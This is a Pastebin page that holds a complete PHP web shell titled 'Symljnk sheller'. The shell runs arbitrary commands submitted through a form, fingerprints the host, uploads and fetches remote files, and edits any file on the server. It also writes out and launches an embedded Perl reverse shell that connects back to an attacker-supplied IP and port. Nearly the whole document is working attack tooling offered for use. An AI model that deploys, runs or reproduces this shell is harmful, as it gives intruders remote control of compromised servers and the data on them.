lehieuit

Symljnk sheller

May 8th, 2012
209
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 8.20 KB | None | 0 0
  1. <?
  2. error_reporting(0);
  3. ?>
  4.  
  5. <style type='text/css'>
  6. html { overflow-x: auto }
  7. BODY { font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 11px; margin: 0px; padding: 0px; text-align: center; color: #c0c0c0; background-color: #336699 }
  8. TABLE, TR, TD { font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 11px; color: #c0c0c0; background-color: #336699 }
  9. BODY,TD {FONT-SIZE: 13px; FONT-FAMILY: verdana, arial, helvetica;}
  10. A:link {COLOR: #666666; TEXT-DECORATION: none}
  11. A:active {COLOR: #666666; TEXT-DECORATION: none;}
  12. A:visited {COLOR: #666666; TEXT-DECORATION: none;}
  13. A:hover {COLOR: #999999; TEXT-DECORATION: none;}
  14. BODY {
  15. SCROLLBAR-FACE-COLOR: #DCE7EF;
  16. SCROLLBAR-HIGHLIGHT-COLOR: #dbdbdb;
  17. SCROLLBAR-SHADOW-COLOR: #598BB6;
  18. SCROLLBAR-3DLIGHT-COLOR: #598BB6;
  19. SCROLLBAR-ARROW-COLOR: #598BB6;
  20. SCROLLBAR-TRACK-COLOR: #F4FAFD;
  21. SCROLLBAR-DARKSHADOW-COLOR: #dbdbdb;
  22. background-color: #336699;
  23. }
  24.  
  25.  
  26.  
  27. fieldset.search { padding: 6px; line-height: 150% }
  28.  
  29. label { cursor: pointer }
  30.  
  31. form { display: inline }
  32.  
  33. img { vertical-align: middle; border: 0px }
  34.  
  35. img.attach { padding: 2px; border: 2px outset #000033 }
  36.  
  37.  
  38. #logostrip { padding: 0px; margin: 0px; background-color: #000000; border: 1px solid #CBAB78; }
  39. #content { padding: 10px; margin: 10px; background-color: #000000; border: 1px solid #CBAB78; }
  40. #logo { FONT-SIZE: 50px; }
  41. </style>
  42. <title>[ No Title ]</title>
  43. <table "width="100%" height=100% bgcolor="#336699">
  44. <tr><td align="center" valign="top">
  45. <table><tr><td>
  46. <?php
  47. $dir = $_POST['dir'];
  48. $dir = stripslashes($dir);
  49. $cmd = $_POST['cmd'];
  50. $cmd = stripslashes($cmd);
  51. $bind = "
  52. #!/usr/bin/perl
  53. use Socket;
  54. \$host = \$ARGV[0];
  55. \$port = \$ARGV[1];
  56. \$proto = getprotobyname('tcp') || die shit;
  57. socket(SERVER, PF_INET, SOCK_STREAM, \$proto) || die shit;
  58. my \$target = inet_aton(\$host);
  59. if (!connect(SERVER, pack 'SnA4x8', 2, \$port, \$target)) {
  60. print shit;
  61. }
  62. if (!fork( )) {
  63. open(STDIN,'>&SERVER');
  64. open(STDOUT,'>&SERVER');
  65. open(STDERR,'>&SERVER');
  66. exec {'/bin/sh'} '-bash' ;
  67. exit(0);
  68. }
  69. ";
  70. function decode($buffer){
  71. return convert_cyr_string ($buffer, d, w);
  72. }
  73. $servsoft = $_SERVER['SERVER_SOFTWARE'];
  74. if (ereg("Win32", $servsoft, $reg)){
  75. $sertype = "winda";
  76. }
  77. else
  78. {
  79. $sertype = "other";}
  80. echo $servsoft . "<br>";
  81. chdir($dir);
  82. echo "Total space " . (int)(disk_total_space(getcwd())/(1024*1024)) . "Mb " . "Free space " . (int)(disk_free_space(getcwd())/(1024*1024)) . "Mb <br>";
  83. if ($sertype == "winda"){
  84. ob_start('decode');
  85. echo "Version: ";
  86. echo passthru("ver") . "<br><br>";
  87. ob_end_flush();
  88. }
  89. if ($sertype == "other"){
  90. echo "id:";
  91. echo passthru("id") . "<br>";
  92. echo "uname:";
  93. echo passthru("uname -a") . "<br><br>";
  94. echo "uptime:";
  95. echo passthru("uptime") . "<br><br>";
  96. }
  97. if($_POST['post'] == "yes" and $HTTP_POST_FILES["userfile"][name] !== "")
  98. {
  99. copy($HTTP_POST_FILES["userfile"]["tmp_name"],$HTTP_POST_FILES["userfile"]["name"]);
  100. }
  101. if(($_POST['fileto'] != "")||($_POST['filefrom'] != ""))
  102. {
  103. $data = implode("", file($_POST['filefrom']));
  104. $fp = fopen($_POST['fileto'], "wb");
  105. fputs($fp, $data);
  106. $ok = fclose($fp);
  107. if($ok)
  108. {
  109. $size = filesize($_POST['fileto'])/1024;
  110. $sizef = sprintf("%.2f", $size);
  111. print "<center><div id=logostrip>Download - OK. (".$sizef."??)</div></center>";
  112. }
  113. else
  114. {
  115. print "<center><div id=logostrip>Something is wrong. Download - IS NOT OK</div></center>";
  116. }
  117. }
  118. if ($_POST['installbind']){
  119. if (is_dir($_POST['installpath']) == true){
  120. chdir($_POST['installpath']);
  121. $_POST['installpath'] = "temp.pl";}
  122. $fp = fopen($_POST['installpath'], "w");
  123. fwrite($fp, $bind);
  124. fclose($fp);
  125. exec("perl $installpath $ip $cbport");
  126. chdir($dir);
  127. }
  128. if ($_POST['editfile']){
  129. $fp = fopen($_POST['editfile'], "r");
  130. $filearr = file($_POST['editfile']);
  131. foreach ($filearr as $string){
  132. $string = str_replace("<" , "<" , $string);
  133. $string = str_replace(">" , ">" , $string);
  134. $content = $content . $string;
  135. }
  136. echo "<center><div id=logostrip>Edit file: $editfile </div><form action=\"$REQUEST_URI\" method=\"POST\"><textarea name=content cols=122 rows=20>$content</textarea>
  137. <input type=\"hidden\" name=\"dir\" value=\"" . getcwd() ."\">
  138. <input type=\"hidden\" name=\"savefile\" value=\"{$_POST['editfile']}\"><br>
  139. <input type=\"submit\" name=\"submit\" value=\"Save\"></form></center>";
  140. fclose($fp);
  141. }
  142. if($_POST['savefile']){
  143. $fp = fopen($_POST['savefile'], "w");
  144. $content = stripslashes($content);
  145. fwrite($fp, $content);
  146. fclose($fp);
  147. echo "<center><div id=logostrip>Successfully saved!</div></center>";
  148. }
  149. if ($cmd){
  150. echo "<center><textarea cols=122 rows=20>";
  151. if($sertype == "winda"){
  152. ob_start('decode');
  153. passthru($cmd);
  154. ob_end_flush();}
  155. else{
  156. passthru($cmd);
  157. }
  158. echo "</textarea></center>";
  159. }else{
  160. $arr = array();
  161. $arr = array_merge($arr, glob("*"));
  162. $arr = array_merge($arr, glob(".*"));
  163. $arr = array_merge($arr, glob("*.*"));
  164. $arr = array_unique($arr);
  165. sort($arr);
  166. echo "<table><tr><td>Name</td><td>Type</td><td>Size</td><td>Last access</td><td>Last change</td><td>Perms</td><td>Write</td><td>Read</td></tr>";
  167. foreach ($arr as $filename) {
  168. if ($filename != "." and $filename != ".."){
  169. if (is_dir($filename) == true){
  170. $directory = "";
  171. $directory = $directory . "<tr><td>$filename</td><td>" . filetype($filename) . "</td><td></td><td>" . date("G:i j M Y",fileatime($filename)) . "</td><td>" . date("G:i j M Y",filemtime($filename)) . "</td><td>" . fileperms($filename);
  172. if (is_writable($filename) == true){
  173. $directory = $directory . "<td>Yes</td>";}
  174. else{
  175. $directory = $directory . "<td>No</td>";
  176. }
  177. if (is_readable($filename) == true){
  178. $directory = $directory . "<td>Yes</td>";}
  179. else{
  180. $directory = $directory . "<td>No</td>";
  181. }
  182. $dires = $dires . $directory;
  183. }
  184. if (is_file($filename) == true){
  185. $file = "";
  186. $file = $file . "<tr><td>$filename</td><td>" . filetype($filename) . "</td><td>" . filesize($filename) . "</td><td>" . date("G:i j M Y",fileatime($filename)) . "</td><td>" . date("G:i j M Y",filemtime($filename)) . "</td><td>" . fileperms($filename);
  187. if (is_writable($filename) == true){
  188. $file = $file . "<td>Yes</td>";}
  189. else{
  190. $file = $file . "<td>No</td>";
  191. }
  192. if (is_readable($filename) == true){
  193. $file = $file . "<td>Yes</td></td></tr>";}
  194. else{
  195. $file = $file . "<td>No</td></td></tr>";
  196. }
  197. $files = $files . $file;
  198. }
  199. }
  200. }
  201. echo $dires;
  202. echo $files;
  203. echo "</table><br>";
  204. }
  205. echo "
  206. <form action=\"$REQUEST_URI\" method=\"POST\">
  207. Command:<INPUT type=\"text\" name=\"cmd\" size=30 value=\"$cmd\">
  208. Directory:<INPUT type=\"text\" name=\"dir\" size=30 value=\"";
  209. echo getcwd();
  210. echo "\">
  211. <INPUT type=\"submit\" value=\"Do it\"></form>";
  212. if (ini_get('safe_mode') == 1){echo "<br><font size=\"3\"color=\"#cc0000\"><b>SAFE MOD IS ON<br>
  213. Including from here: "
  214. . ini_get('safe_mode_include_dir') . "<br>Exec here: " . ini_get('safe_mode_exec_dir'). "</b></font>";}
  215. echo "<div><FORM method=\"POST\" action=\"$REQUEST_URI\" enctype=\"multipart/form-data\">
  216. Download here <b>from</b>:
  217. <INPUT type=\"text\" name=\"filefrom\" size=30 value=\"http://\">
  218. <b>into:</b>
  219. <INPUT type=\"text\" name=\"fileto\" size=30>
  220. <INPUT type=\"hidden\" name=\"dir\" value=\"" . getcwd() . "\">
  221. <INPUT type=\"submit\" value=\"Download\"></form></div>";
  222. echo "<div><FORM method=\"POST\" action=\"$REQUEST_URI\" enctype=\"multipart/form-data\">
  223. <INPUT type=\"file\" name=\"userfile\">
  224. <INPUT type=\"hidden\" name=\"post\" value=\"yes\">
  225. <INPUT type=\"hidden\" name=\"dir\" value=\"" . getcwd() . "\">
  226. <INPUT type=\"submit\" value=\"Download\"></form></div>";
  227. echo "<div><FORM method=\"POST\" action=\"$REQUEST_URI\">
  228. Install cb
  229. <b>Temp path</b><input type=\"text\" name=\"installpath\" value=\"" . getcwd() . "\">
  230. <b>Ip</b><input type=\"text\" name=\"ip\" value=\"ip\">
  231. <b>Port</b><input type=\"text\" name=\"cbport\" value=\"3333\">
  232. <INPUT type=\"hidden\" name=\"installbind\" value=\"yes\">
  233. <INPUT type=\"hidden\" name=\"dir\" value=\"" . getcwd() . "\">
  234. <INPUT type=\"submit\" value=\"Install\"></form></div>";
  235. echo "<div><FORM method=\"POST\" action=\"$REQUEST_URI\">
  236. File to edit:
  237. <input type=\"text\" name=\"editfile\" >
  238. <INPUT type=\"hidden\" name=\"dir\" value=\"" . getcwd() ."\">
  239. <INPUT type=\"submit\" value=\"Edit\"></form></div>";
  240. ?>
  241. </td></tr></table>
  242. </td></tr>
  243. <tr valign="BOTTOM">
  244. <td valign=bottom><center>
  245. Coded By Unkno0wn Kesdemar
  246. </center></td>
  247. </tr>
  248. </table>
Add Comment
Please, Sign In to add comment